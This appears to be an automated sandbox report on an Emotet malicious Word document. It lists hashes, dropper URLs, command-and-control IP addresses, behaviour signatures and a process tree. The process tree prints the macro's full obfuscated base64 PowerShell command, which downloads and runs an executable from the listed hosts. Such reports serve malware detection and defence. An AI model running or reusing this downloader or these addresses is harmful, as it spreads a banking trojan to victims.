Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

1

Analysis

  • max time kernel
    60s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    21/08/2020, 10:53

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_d88027c8f802a9c670d326835d3153aadf2dd191cf9bf60148bc6532b6614402_2020-08-21__105034._doc.doc
  • Size 182KB
  • Sample200821-5em671zd4e
  • SHA256 d88027c8f802a9c670d326835d3153aadf2dd191cf9bf60148bc6532b6614402
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://aci.serabd.com/gt7pie/WMq/
  • exe.dropper

    http://acainacumbuca.com.br/protected-disk/x/
  • exe.dropper

    http://airmaxx.rs/available-zone/UFxfTGg/
  • exe.dropper

    http://labersa.com/preview/atbFjM/
  • exe.dropper

    http://agenciaetalk.com/common-zone/uF5x3RF/
  • exe.dropper

    http://brizboy.com/site/WrrdOMS/
  • exe.dropper

    http://clutchinc.net/image/1/

Extracted

Family

  • emotet

C2

  • 70.121.172.89:80

  • 116.202.234.183:8080

  • 69.30.203.214:8080

  • 185.94.252.104:443

  • 64.183.73.122:80

  • 190.55.181.54:443

  • 37.70.8.161:80

  • 174.137.65.18:80

  • 203.153.216.189:7080

  • 109.116.214.124:443

  • 93.51.50.171:8080

  • 190.160.53.126:80

  • 222.214.218.37:4143

  • 87.106.136.232:8080

  • 113.160.130.116:8443

  • 174.102.48.180:80

  • 79.98.24.39:8080

  • 189.212.199.126:443

  • 89.186.91.200:443

  • 24.233.112.152:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_d88027c8f802a9c670d326835d3153aadf2dd191cf9bf60148bc6532b6614402_2020-08-21__105034._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1616
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABPAHgAMgA4AHcAagA2AD0AKAAnAFoAJwArACcAaAA2AG8AJwArACcAYQB4AHMAJwApADsAJgAoACcAbgBlAHcALQAnACsAJwBpAHQAZQAnACsAJwBtACcAKQAgACQAZQBuAHYAOgB0AGUATQBQAFwATwBmAEYASQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBjAHQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBDAGAAVQBSAEkAYABUAHkAUABgAFIATwBUAGAATwBjAGAATwBsACIAIAA9ACAAKAAnAHQAbABzADEAMgAsACAAJwArACcAdAAnACsAJwBsACcAKwAnAHMAMQAxACcAKwAnACwAIAB0ACcAKwAnAGwAcwAnACkAOwAkAEUAagB1AGMAYQBfAF8AIAA9ACAAKAAnAFMAZgA3ACcAKwAnAF8AJwArACcAeQBkAGsAdQAnACkAOwAkAEUAXwBjAHoAbABlAHcAPQAoACcAUwBfAGEAJwArACcAbQBlAHEAZwAnACkAOwAkAEsAMgBvAHUAOQBjAHgAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAGEAYgB5ACcAKwAnAE8AJwArACcAZgBmAGkAJwArACcAYwBlACcAKwAnADIAMAAxACcAKwAnADkAYQBiAHkAJwApACAALQBjAFIARQBQAGwAYQBDAEUAIAAnAGEAYgB5ACcALABbAEMASABhAHIAXQA5ADIAKQArACQARQBqAHUAYwBhAF8AXwArACgAJwAuACcAKwAnAGUAeABlACcAKQA7ACQARQB2ADEAaQBpADQAdAA9ACgAJwBBAG4AJwArACcANwAnACsAJwBlAF8AcgBxACcAKQA7ACQAUAAyAGgAbAAyAGMAeAA9ACYAKAAnAG4AZQB3AC0AbwBiAGoAJwArACcAZQAnACsAJwBjAHQAJwApACAAbgBFAHQALgB3AGUAYgBDAGwAaQBlAG4AdAA7ACQAUQBnAF8AZgBsAGoAbwA9ACgAJwBoAHQAdABwADoALwAvACcAKwAnAGEAYwBpAC4AcwAnACsAJwBlAHIAYQBiACcAKwAnAGQALgBjAG8AbQAvAGcAdAAnACsAJwA3AHAAaQBlAC8AJwArACcAVwBNAHEAJwArACcALwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKwAnAC8AJwArACcAYQBjAGEAaQBuAGEAYwAnACsAJwB1AG0AYgB1AGMAYQAuAGMAbwBtAC4AYgByAC8AcAAnACsAJwByACcAKwAnAG8AdABlAGMAdAAnACsAJwBlACcAKwAnAGQALQBkAGkAJwArACcAcwBrAC8AeAAnACsAJwAvACoAJwArACcAaAB0AHQAcAAnACsAJwA6AC8ALwBhAGkAcgBtAGEAeAAnACsAJwB4ACcAKwAnAC4AJwArACcAcgAnACsAJwBzAC8AYQB2AGEAaQBsACcAKwAnAGEAJwArACcAYgBsAGUALQB6AG8AbgBlAC8AJwArACcAVQBGAHgAJwArACcAZgAnACsAJwBUAEcAZwAnACsAJwAvACoAJwArACcAaAB0ACcAKwAnAHQAJwArACcAcAAnACsAJwA6AC8AJwArACcALwBsACcAKwAnAGEAYgBlAHIAcwAnACsAJwBhAC4AYwBvAG0ALwAnACsAJwBwAHIAZQAnACsAJwB2AGkAJwArACcAZQAnACsAJwB3AC8AYQB0ACcAKwAnAGIARgBqAE0AJwArACcALwAqACcAKwAnAGgAdAB0ACcAKwAnAHAAOgAvAC8AYQBnAGUAbgBjACcAKwAnAGkAYQBlAHQAYQAnACsAJwBsACcAKwAnAGsAJwArACcALgAnACsAJwBjACcAKwAnAG8AbQAvAGMAbwBtAG0AbwBuAC0AegBvAG4AZQAvAHUARgA1AHgAMwBSAEYALwAqAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AJwArACcAYgAnACsAJwByAGkAegBiAG8AeQAuAGMAJwArACcAbwBtACcAKwAnAC8AcwAnACsAJwBpAHQAJwArACcAZQAvAFcAcgByAGQATwBNAFMALwAqAGgAJwArACcAdAB0AHAAOgAvAC8AYwBsAHUAdABjACcAKwAnAGgAaQBuAGMALgBuAGUAJwArACcAdAAvAGkAbQAnACsAJwBhAGcAZQAvADEALwAnACkALgAiAFMAUABgAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARQBuAHAAagAzAHUAeQA9ACgAJwBHACcAKwAnAHkAbAB4AHIAZwB1ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFAAMQA2AHQAeQBjAGIAIABpAG4AIAAkAFEAZwBfAGYAbABqAG8AKQB7AHQAcgB5AHsAJABQADIAaABsADIAYwB4AC4AIgBkAGAATwBXAGAATgBsAE8AYABBAGQAZgBJAEwARQAiACgAJABQADEANgB0AHkAYwBiACwAIAAkAEsAMgBvAHUAOQBjAHgAKQA7ACQAUwBkAHMAdAB1AG0AbQA9ACgAJwBNAGwAegAnACsAJwAwAGoAcwAyACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABLADIAbwB1ADkAYwB4ACkALgAiAGwARQBOAGcAYABUAEgAIgAgAC0AZwBlACAAMgA0ADYANwA1ACkAIAB7AC4AKAAnAEkAbgB2ACcAKwAnAG8AawBlACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAEsAMgBvAHUAOQBjAHgAKQA7ACQAUgBmADMAYgA5AGYAdwA9ACgAJwBRAF8AdQAnACsAJwBzADgAagAnACsAJwA1ACcAKQA7AGIAcgBlAGEAawA7ACQARQBwADgAMAA5ADQANgA9ACgAJwBCADQAcQAnACsAJwA2ADEANAAyACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgBlADUAYQA0AHkAMwA9ACgAJwBYACcAKwAnAHcAOABtADMAJwArACcANgB1ACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1844
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Sf7_ydku.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Sf7_ydku.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:1564
      • C:\Windows\SysWOW64\bthudtask\SCardDlg.exe
        "C:\Windows\SysWOW64\bthudtask\SCardDlg.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1908

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1564-20-0x0000000000230000-0x000000000023C000-memory.dmp
        Download

        memory/1616-15-0x0000000002100000-0x0000000002101000-memory.dmp
        Download

        memory/1616-7-0x000000000BF10000-0x000000000BF14000-memory.dmp
        Download

        memory/1616-6-0x000000000AE90000-0x000000000AE94000-memory.dmp
        Download

        memory/1616-2-0x0000000008A60000-0x0000000008A64000-memory.dmp
        Download

        memory/1844-11-0x0000000002490000-0x0000000002491000-memory.dmp
        Download

        memory/1844-17-0x000000001B990000-0x000000001B991000-memory.dmp
        Download

        memory/1844-12-0x000000001ADD0000-0x000000001ADD1000-memory.dmp
        Download

        memory/1844-13-0x0000000002550000-0x0000000002551000-memory.dmp
        Download

        memory/1844-10-0x000007FEEA880000-0x000007FEEB26C000-memory.dmp
        Download

        memory/1844-16-0x00000000027C0000-0x00000000027C1000-memory.dmp
        Download

        memory/1844-14-0x00000000023F0000-0x00000000023F1000-memory.dmp
        Download

        memory/1908-24-0x0000000000240000-0x000000000024C000-memory.dmp
        Download

        memory/2032-25-0x000007FEEAFF0000-0x000007FEEB26A000-memory.dmp
        Download